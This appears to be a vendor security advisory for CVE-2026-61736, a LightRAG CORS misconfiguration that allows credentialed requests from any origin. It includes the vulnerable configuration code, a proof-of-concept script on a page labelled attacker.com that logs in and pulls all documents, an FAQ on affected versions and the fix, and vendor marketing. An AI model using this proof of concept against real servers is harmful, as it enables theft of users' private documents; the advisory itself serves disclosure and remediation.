CVE-2026-61736

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials, PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

CVE-2026-61736 has a CVSS score of 9.3 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.4); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2026-61736? CVE-2026-61736 is a critical-severity security vulnerability in lightrag-hku (pip), affecting versions <= 1.5.3. It is fixed in 1.5.4.
2. How severe is CVE-2026-61736? CVE-2026-61736 has a CVSS score of 9.3 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of lightrag-hku are affected by CVE-2026-61736? lightrag-hku (pip) versions <= 1.5.3 is affected.
4. Is there a fix for CVE-2026-61736? Yes. CVE-2026-61736 is fixed in 1.5.4. Upgrade to this version or later.
5. Is CVE-2026-61736 exploitable, and should I be worried? Whether CVE-2026-61736 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-61736 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-61736? Upgrade lightrag-hku to 1.5.4 or later.

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